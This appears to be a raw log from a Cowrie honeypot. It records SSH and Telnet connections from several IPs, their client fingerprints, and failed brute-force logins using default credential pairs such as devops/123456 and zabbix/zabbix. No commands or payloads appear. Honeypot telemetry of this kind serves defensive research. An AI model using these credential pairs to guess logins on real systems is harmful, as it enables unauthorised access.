{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:54.645715Z","src_ip":"103.75.199.4","session":"18b8d3023afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:54.737820Z","src_ip":"103.75.199.4","session":"18b8d3023afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:55.013902Z","src_ip":"103.75.199.4","session":"18b8d3023afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:23:56.107816Z","src_ip":"103.75.199.4","session":"18b8d3023afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57150,"dst_ip":"159.203.135.109","dst_port":22,"session":"6160732037b0","protocol":"ssh","message":"New connection: 103.75.199.4:57150 (159.203.135.109:22) [session: 6160732037b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:16.572186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:16.577559Z","src_ip":"103.75.199.4","session":"6160732037b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:16.669851Z","src_ip":"103.75.199.4","session":"6160732037b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:16.944339Z","src_ip":"103.75.199.4","session":"6160732037b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:18.084247Z","src_ip":"103.75.199.4","session":"6160732037b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":37236,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f89fc01a163","protocol":"ssh","message":"New connection: 78.40.37.143:37236 (10.17.0.5:22) [session: 2f89fc01a163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:34.061235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:34.064359Z","src_ip":"78.40.37.143","session":"2f89fc01a163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:34.148092Z","src_ip":"78.40.37.143","session":"2f89fc01a163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"no","message":"login attempt [admin/no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:34.513467Z","src_ip":"78.40.37.143","session":"2f89fc01a163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:35.600356Z","src_ip":"78.40.37.143","session":"2f89fc01a163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38766,"dst_ip":"159.203.135.109","dst_port":22,"session":"52432797374b","protocol":"ssh","message":"New connection: 103.75.199.4:38766 (159.203.135.109:22) [session: 52432797374b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:38.409671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:38.414377Z","src_ip":"103.75.199.4","session":"52432797374b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:38.510565Z","src_ip":"103.75.199.4","session":"52432797374b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:38.798122Z","src_ip":"103.75.199.4","session":"52432797374b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:24:39.896848Z","src_ip":"103.75.199.4","session":"52432797374b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49420,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a05f5fb5a1d","protocol":"ssh","message":"New connection: 103.75.199.4:49420 (159.203.135.109:22) [session: 7a05f5fb5a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:00.250191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:00.258316Z","src_ip":"103.75.199.4","session":"7a05f5fb5a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:00.351843Z","src_ip":"103.75.199.4","session":"7a05f5fb5a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:00.630170Z","src_ip":"103.75.199.4","session":"7a05f5fb5a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:01.726507Z","src_ip":"103.75.199.4","session":"7a05f5fb5a1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.221.88","src_port":55270,"dst_ip":"159.203.135.109","dst_port":22,"session":"b733275156af","protocol":"ssh","message":"New connection: 104.238.221.88:55270 (159.203.135.109:22) [session: b733275156af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:05.643616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:05.655040Z","src_ip":"104.238.221.88","session":"b733275156af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:05.726565Z","src_ip":"104.238.221.88","session":"b733275156af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:05.936755Z","src_ip":"104.238.221.88","session":"b733275156af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:07.014604Z","src_ip":"104.238.221.88","session":"b733275156af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55372,"dst_ip":"159.203.135.109","dst_port":22,"session":"46da6e6789ac","protocol":"ssh","message":"New connection: 103.75.199.4:55372 (159.203.135.109:22) [session: 46da6e6789ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:22.152361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:22.156318Z","src_ip":"103.75.199.4","session":"46da6e6789ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:22.246629Z","src_ip":"103.75.199.4","session":"46da6e6789ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:22.519736Z","src_ip":"103.75.199.4","session":"46da6e6789ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:23.613493Z","src_ip":"103.75.199.4","session":"46da6e6789ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":59072,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd33e37f538","protocol":"ssh","message":"New connection: 80.94.92.182:59072 (10.17.0.5:22) [session: 8dd33e37f538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:35.050928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:35.189322Z","src_ip":"80.94.92.182","session":"8dd33e37f538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:35.194632Z","src_ip":"80.94.92.182","session":"8dd33e37f538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00124716758728,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:35.837252Z","src_ip":"102.67.221.40","session":"d1c1a94090d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"opadmin","password":"opadmin","message":"login attempt [opadmin/opadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:37.222116Z","src_ip":"80.94.92.182","session":"8dd33e37f538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:38.932811Z","src_ip":"80.94.92.182","session":"8dd33e37f538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":13298,"dst_ip":"159.203.135.109","dst_port":23,"session":"0533c3fd1141","protocol":"telnet","message":"New connection: 102.67.221.40:13298 (159.203.135.109:23) [session: 0533c3fd1141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:39.238513Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46970,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc05613be657","protocol":"ssh","message":"New connection: 103.75.199.4:46970 (159.203.135.109:22) [session: fc05613be657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:44.101602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:44.105408Z","src_ip":"103.75.199.4","session":"fc05613be657","protocol":"ssh"}
